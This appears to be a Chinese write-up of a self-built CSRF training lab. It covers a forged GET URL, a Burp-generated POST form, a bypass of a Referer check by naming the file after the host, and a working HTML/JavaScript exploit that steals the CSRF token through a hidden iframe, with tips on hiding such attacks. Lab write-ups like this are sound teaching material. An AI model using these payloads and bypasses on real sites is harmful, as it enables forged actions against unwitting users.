CSRF漏洞实战靶场笔记
记录下自己写的CSRF漏洞靶场的write up,包括了大部分的CSRF实战场景,做个笔记。

0x01 无防护GET类型csrf(伪造添加成员请求)
这一关没有任何csrf访问措施

首先我们登录test用户

发现有个添加成员功能 用test账号添加 发现只有admin才可以添加

现在用另一个浏览器 ,这里用的搜狗浏览器来登录admin账号

我们把test用户添加用户的url地址,这里是添加一个用户名为111和密码为111的用户请求的地址,我们在登录了admin账号的搜狗浏览器新建窗口打开
http://www.csrf_demo.com/csrf_1.php?username=111&password=1111&submit=%E6%B7%BB%E5%8A%A0

发现添加成功 完成了一次最简单的csrf攻击,伪造了admin添加成员的请求
提一下,真实攻击中你有很多手段把csrf进行隐蔽,例如短网址变化、恶意网站加载csrf请求、配合xss进行攻击,形式多种多样。
0x02 无防护POST类型csrf(伪造添加成员请求)
这次添加成员的请求是post ,我们就需要构造表单
可以使用CSRFTester 或者使用burp自带的csrf POC
下面以burp自带的csrf POC 为例子 ,登录test用户抓取到添加成员的数据包

构造csrf表单


修改好后生成对应的html,

然后用admin账号 打开这个表单,点击按钮

可以发现也构造出了添加222用户的请求。

这里是个简单的csrf poc。实战中你可以把表单构造成自动提交,或者提交后转到某个具有迷惑性的地址来隐蔽你的csrf攻击,这里就不多叙述了。
0x03 绕过CSRF防护之Referer检查(伪造购买商品请求)

这里我们又需要使用test构造admin账号的购买请求。这一关有的是referer的验证,如下,还是通过第一关的方法构造url会出现提示。

原因是代码中验证了http包的来源地址。
if(@!eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] )){
js_alert("疑似csrf攻击!购买失败!",'#');
exit;
}
$username = $_SESSION['username'];
if(isset($_POST['checkbox'])){
$checkbox = $_POST['checkbox'];
echo "<font size=5>".$username."用户您好!您购买的订单如下:</font><br><br>";
echo "<font size=4>".implode(',',$checkbox)."</font>";
}else{
js_alert("请选择您需要购买的商品!",'#');
}
}
可以看到如果referer字段的值如果不包括和host字段的值会购买失败,那么我们可以怎么伪造绕过这个referer限制呢
我们可以把文件名设置为host的内容,这样就绕过检测了,例如这里我们的host值是

那我们的csrf poc的文件名可以设置为www.csrf_demo.com.html

ok,绕过了这个限制还需要解决一个问题,如果是直接发html给管理,他在本地打开文件是没有Referer这个http头的,那我们就需要把这个html上传到网站上。这里我就上传在靶场,实战中肯定是一个外网可以访问的攻击网站,这个不影响实验。

这样构造url发送给管理,
http://www.csrf_demo.com/www.csrf_demo.com.html

csrf攻击成功。

0x04 配合XSS漏洞获取token后进行csrf攻击(伪造添加成员请求)


这关用了防csrf的token。具体含义自己百度,token简单的来说就是防止表单重复提交和csrf攻击,每次页面提交都会带上token值,token值每次页面提交的都不同,是唯一的令牌,服务器后端会验证这个token来验证你的请求是否是csrf伪造的。
那我们在实战中怎么绕过这个token呢,csrf单独是无法获得token的,所以必须配合xss来完成。
exp:
<iframe src="http://www.csrf_demo.com/csrf_4.php?url=csrf_4.php" id="hack" border="0" style="display:none;">
</iframe>
<body onload="attack()">
<form method="GET" id="transfer" name="transfer" action="http://www.csrf_demo.com/csrf_4.php?url=csrf_4.php">
<input type="hidden" name="username" value="222">
<input type="hidden" name="password" value="222">
<input type="hidden" name="user_token" value="">
<input type="submit" name="submit" value="submit">
</form>
</body>
<script type="text/javascript">
function attack(){
document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
}
</script>
攻击思路是当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,点击按钮后并向服务器发送改密请求,以完成CSRF攻击。
你可以把exp放在网站的目录下。然后发送给admin(这里我们就自己登录admin账号,点击csrf的连接)

使用admin账号访问这个文件:http://www.csrf_demo.com/exp.html
点击按钮后发现 伪造请求成功。

也可以保存为html,以文件的形式发过去,


也是可以成功的
CSRF漏洞实战靶场笔记的更多相关文章
- (未完)XSS漏洞实战靶场笔记
记录下自己写的XSS靶场的write up,也是学习了常见xss漏洞类型的实战场景
- (未完)经典Web漏洞实战演练靶场笔记
记录下自己写的经典Web漏洞靶场的write up,包括了大部分的经典Web漏洞实战场景,做个笔记. 0x01 任意文件下载漏洞 if(!empty($_GET['filename'])){ $fil ...
- jboss反序列化漏洞实战渗透笔记
一.利用shodan,fofa或谷歌搜索关键字:8080/jmx-console/ 二.下载java反序列化终极测试工具进行验证漏洞 三.记住User Current Directory: C:\j ...
- PHP代码审计笔记--CSRF漏洞
0x01 前言 CSRF(Cross-site request forgery)跨站请求伪造.攻击者盗用了你的身份,以你的名义向第三方网站发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻 ...
- Linux实战教学笔记17:精简shell基础
第十七节 精简shell基础 标签(空格分隔): Linux实战教学笔记 1,前言 1.1 为什么学习shell编程 Shell脚本语言是实现Linux/UNIX系统管理及自动化运维所必备的重要工具, ...
- Linux实战教学笔记24:SSH连接原理及ssh-key
目录 第二十四节 SSH连接原理及ssh-key讲解 第1章 SSH服务 1.1 ssh介绍 1.2 知识小结 第2章 ssh结构 2.1 SSH加密技术 第3章 ssh服务认证类型 3.1 基于口令 ...
- Linux实战教学笔记08:Linux 文件的属性(上半部分)
第八节 Linux 文件的属性(上半部分) 标签(空格分隔):Linux实战教学笔记 第1章 Linux中的文件 1.1 文件属性概述(ls -lhi) linux里一切皆文件 Linux系统中的文件 ...
- Linux实战教学笔记07:Linux系统目录结构介绍
第七节 Linux系统目录结构介绍 标签(空格分隔):Linux实战教学笔记 第1章 前言 windows目录结构 C:\windows D:\Program Files E:\你懂的\精品 F:\你 ...
- Linux实战教学笔记06:Linux系统基础优化
第六节 Linux系统基础优化 标签(空格分隔):Linux实战教学笔记-陈思齐 第1章 基础环境 第2章 使用网易163镜像做yum源 默认国外的yum源速度很慢,所以换成国内的. 第一步:先备份 ...
随机推荐
- 学习笔记_第十天_方法_方法的综合练习---ref练习
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.T ...
- 基于STC89C52的oled红外遥控闹钟
这个红外遥控主要是程序通过对按下的键的键码进行解析,并运行相应的功能代码 一次按键动作的遥控编码信息为 32 位串行二进制码.对于二进制信号“0”,一个脉冲占 1.2ms:对于二进制信号“1”,一个脉 ...
- Cookie的获取
1.先创建Cookie对象,设置Cookie的键和值: Cookie cookie1="); Cookie cookie2="); Cookie cookie3="); ...
- Elastic Stack 笔记(七)Elasticsearch5.6 聚合分析
博客地址:http://www.moonxy.com 一.前言 Elasticsearch 是一个分布式的全文搜索引擎,索引和搜索是 Elasticsarch 的基本功能.同时,Elasticsear ...
- Dart函数、类和运算符-处理信息
编程语言虽然千差万别,但归根结底,它们的设计思想无非就是回答两个问题: 1.如何表示信息: 2.如何处理信息: 函数 函数是一段用来独立地完成某个功能的代码.函数是对象类型,它的类型叫做Functio ...
- Scrapy项目 - 实现腾讯网站社会招聘信息爬取的爬虫设计
通过使Scrapy框架,进行数据挖掘和对web站点页面提取结构化数据,掌握如何使用Twisted异步网络框架来处理网络通讯的问题,可以加快我们的下载速度,也可深入接触各种中间件接口,灵活的完成各种需求 ...
- <<构建之法第三版>>读书遇到的5个问题
1.书中第4章4.5节所说的结对编程让我感觉有一点困惑,书中书写的是结对编程,说实话我是第一次接触这个词汇,我能感到这种方式的新特之处,但是对比我现实的编程经历,我很难想象在一般的企业开发中这样的行为 ...
- java.util.Optional学习笔记
java.util.Optional是Java 8新增的类,作为一个持有实例的容器类,可以帮我们把判空的代码写得更优雅,并且该类还提供了一些实用的api,官方文档在这里,接下来我们通过实战来学习吧: ...
- Shell之Xargs命令
目录 Shell之Xargs命令 参考 xargs命令简介 xargs命令格式 xargs实例说明 Shell之Xargs命令
- uC/OS-III 任务详解(四)
uC/OS系统的任务一般都放在最开始介绍,我放在第四章主要是对模糊的概念作清晰的讲解. 从用户的角度来看,uC/OS-III 中的任务可以分为5 种状态,分别是休眠态.就绪态.运行态.挂起态和中断态, ...